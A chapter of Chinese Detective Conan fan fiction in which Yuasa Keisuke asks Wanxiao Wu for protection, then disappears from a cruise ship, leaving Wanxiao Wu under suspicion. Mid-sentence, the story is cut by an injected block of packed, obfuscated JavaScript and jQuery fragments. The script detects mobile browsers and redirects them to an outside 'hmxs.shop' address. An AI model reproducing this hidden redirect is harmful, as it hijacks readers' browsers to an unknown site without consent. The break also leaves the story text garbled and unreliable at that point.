下午,走在去往负一楼的楼梯上,晚冬梧突然停住脚步,叹了口气,对着空气说道:“柯南君,您行行好,就不要再跟踪我了吧。”跟踪就算了,技巧还如此拙劣,让他不发现都难。


    一秒,两秒……五秒后,晚冬梧身后依旧没有一点动静,他只得再次出声:“不用有侥幸心理了,我知道你在。”


    三秒后,晚冬梧身后终于传出细微的脚步声,最后,一个小小的柯南出现在了晚冬梧身后。


    “晚……晚冬梧叔叔。”柯南露出一个礼貌的微笑,他右手还捏着一枚窃听器,看情况是想趁晚冬梧不注意,贴在他身上。


    只是没想到这么快就被晚冬梧发现了。


    晚冬梧蹲下身,强硬掰开柯南的右手,又将那窃听器安装回了柯南的眼镜上,才说道:“回去吧,柯南君,有些事你现在还不能知道。”


    “可是……”柯南不服气,侦探的好奇心不允许他放过任何一个可疑之处。


    “没有可是。”晚冬梧难得强硬一回,他朝刚刚赶来的晚冬玖招手道:“小玖,餐厅出了一种新款蛋糕,你带着柯南一起去尝尝吧。”


    “好哦,干爹。”晚冬玖上前,扯住柯南那已经被捏皱了的衣角的,使出浑身力气,将柯南拖走。


    看着两人远去的背影,晚冬梧轻轻叹了口气。他此次要赴汤浅圭介的约,谁也不知道会发生什么,汤浅圭介又是敌是友?这样危险而不确定的场合,他必然不可能带上柯南。


    “晚冬梧先生,您可算是来了。”正当晚冬梧边走边思考时,一个声音从前方的走廊传来,大腹便便的身影也同时出现在了走廊尽头。


    “汤浅先生。”晚冬梧点头示意,青年的声音清亮又干净,但却始终与汤浅圭介保持一种不远不近的距离。


    晚冬梧跟随汤浅圭介进了一间小房间,里面只简单摆放了两把椅子和一张桌子,且难得的没有任何植物。


    “请坐,晚冬梧先生。”汤浅圭介坐在了椅子上,又招呼晚冬梧坐下。


    “关于您说要向我的花店订购花束一事,我思考许久,也很荣幸可以为您提供帮助,只是花店较小,恐怕无法提供大量花束……”


    “可我需要的商品,唯有晚冬梧先生可以提供。”


    “嗯?”晚冬梧不解,他的头歪了歪,疑惑地看向汤浅圭介。


    “在此之前,晚冬梧先生何不听我讲一个故事?”


    汤浅圭介叹了口气,陷入了回忆之中。


    “在几十年前,有一个贫苦的家庭,家中仅有两个孩子,老大贪玩爱闹,老二精明聪慧。”


    “十多年后,两个孩子长大了。父母因一场泥石流而亡,可家中凑不出钱来置办葬礼,就在老大打算草草掩埋之时,老二回来了,并表示他找到了工作,雇主愿意预支一笔钱来给他们置办葬礼。”


    “后来,老二在外赚了一笔又一笔的钱,他将大部分的钱交给老大,而老大也不负弟弟的恩情,用这笔钱创业,最终钱滚钱,公司也越加繁盛。”


    “可是啊,有一天,老二死了,只留下一个语焉不详的话给老大。”


    晚冬梧的好奇心被勾起,可汤浅圭介并未再继续说下去。


    “所以?”晚冬梧等待着汤浅圭介说出自己的目的,可汤浅圭介只是笑了笑,自嘲说道:“人啊,永远也不会学乖,只要有好处,就只会不顾一切去追寻利用。”


    对这个结论,晚冬梧不置可否,但他并没有被汤浅圭介的话绕进去,转而说道:“呃,那个,汤浅先生,关于花束的事……”


    晚冬梧懵懂的眼中透露出不知事的天真,倒真像个清澈愚蠢的大学生,似是真的不懂汤浅圭介在说些什么。


    “我要死了,老二死后,老大也快死了。”汤浅圭介答非所问。


    晚冬梧诧异极了,他摸出手机,一边摁键一边焦急说道:“汤浅先生,这件事你怎么没和毛利先生说?您是不是知道是谁寄的恐吓信?”


    可一只大手挡住了晚冬梧的手机屏幕,那即将发出的消息也被删除。


    “晚冬梧先生,今日我来找你,可不是为了让你敷衍过去的,我只有一个要求,让灰雁来保护我。”


    一句话,让晚冬梧愣住了。他的手也悄无声息地按住了汤浅圭介的手腕,“汤浅先生,您在说什么?”


    晚冬梧抬眸,一双暖棕色的眼眸在汤浅圭介眼里却是无比冰凉。


    晚宴上,每一位宾客身着礼服,就连小小的柯南与晚冬玖都穿上了小西服,打扮得人模人样。


    然而,最关键的人物——汤浅圭介却迟迟未出现。


    “找到老板了吗?”后台,身着红色修身长裙的主持人趁表演时间急匆匆来到后台,询问汤浅先生的下落,根据流程,在这个节目结束后,便是汤浅圭介的演讲时间了。


    “没有,整个负一楼都找过了,电话也打不通,不知道老板到底去了哪里。”


    “那就继续去找找!甲板、二层、卫生间……都去瞧瞧,我们这是在海上,附近又没有船只陆地,一个大活人怎么会不见?还有,今天下午谁见过老板,都去问问!”


    ……


    宴会前厅,晚冬梧正端着一杯葡萄酒,有些心不在焉地时不时酌上几口,就连舞台上动感十足的音乐舞蹈都拉不回他的思绪。


    而柯南则紧紧跟随在晚冬梧身后,企图见缝插针收集情报。


    就在这时,一名服务员走来,“先生,请问您现在是否有空?”


    晚冬梧放下酒杯,点点头,便起身跟随服务员来到舞台后台处。


    “请问您是否见过汤浅圭介先生?”


    “下午四点以后便没有见过了。”晚冬梧与汤浅圭介谈论到下午四点后,便离开了。


    “汤浅先生是出什么事了吗?”一旁默默跟随过来的柯南如同犬类一般对案件有着极其灵敏的嗅觉,服务员一开口,他便有了不好的预感。


    “我们找不到汤浅先生了,想问一下您在离开前有没有听汤浅先生说起他会去哪里?”服


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932932|188290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    务员有些急切,额头还冒出了点汗珠。


    闻言,晚冬梧也严肃了起来,他手指摩挲耳垂,细细思索一番,却摇了摇头:“他只说许久未曾航海了,打算去甲板看看海。”


    “好的,多谢晚冬梧先生。”说完,服务员便离开了。


    而柯南早在此之前便冲了出去。


    “小梧,发生了什么?”回到大厅,晚冬梧便撞上了早已等候着的晚冬景。


    感受到晚冬景对他的关切之意,晚冬梧心下一暖,就连脸上也没忍住露出了笑意,他摇了摇头,朝晚冬景眨了几下眼睛:“没事,一切都在计划之中。”


    说完,晚冬梧在内心默默补充了两个字——大概。


    毕竟,汤浅圭介是一个很谨慎的人,要不是走投无路了,他又怎么可能冒险找上灰雁进行合作?因此,汤浅圭介连自己的计划都未曾向他透露。


    就在两人交谈时,柯南已经在甲板上搜寻了一圈,却并未发现汤浅圭介的踪迹,就连一片衣角都未曾发现。


    他的一系列举动,反倒是引起了跟上来的松田阵平的注意。


    他走上前来,把试图将脑袋探出甲板栏杆的柯南单手提了起来,没好气地问道:“喂,小鬼,不想活了?”


    “松田警官,你有看见汤浅圭介先生吗?”


    “没看见,他怎么了?”闻到出事的气息,松田阵平神色严肃起来,犀利的视线从墨镜穿过,直击柯南眼睛。


    “他失踪了……”


    没等柯南说完,松田阵平抄起手机,胳肢窝夹着柯南,便给同事们打起电话。


    “松田警官,快放我下来!”柯南奋力挣扎,然而松田阵平的手臂犹如钢铁做的一般纹丝不动。


    打完电话,松田阵平斜睨了眼柯南,“小鬼,这可不是过家家,乖乖回去找你的小兰姐姐。”


    不到一个小时,警方将整艘游轮翻了个底朝天后,终于接受了这个无奈的事实——汤浅圭介生死不明。


    晚冬梧坐在椅子上,作为嫌疑人接受警方的问话。


    “下午五点你在哪里?”


    “在自己房间中休息。”


    “有没有人可以证明这一点?”


    “没有,但走廊里有监控。”


    “监控显示你在下午两点时与汤浅圭介会面,四点离开,这两个小时里你们讨论了什么?有没有发生争吵?”


    “没有,至于谈论了什么,毛利侦探他们可以作证,是汤浅圭介先生邀请我去讨论有关购买花束的事宜。”


    就在晚冬梧接受审问时,晚冬景以及柯南等侦探正留在汤浅圭介的房间中寻找线索。


    晚冬景站在一个角落,蹙眉。


    根据判断,汤浅圭介是在下午四点后失踪的,房间内没有打斗、翻找的痕迹,只有一杯放凉了的茶水还证明着人已经离开许久了。


    而在这个时间段,没有人证且来过这里的,唯有晚冬梧。


    虽无法接受,但如今嫌疑最大的只有晚冬梧。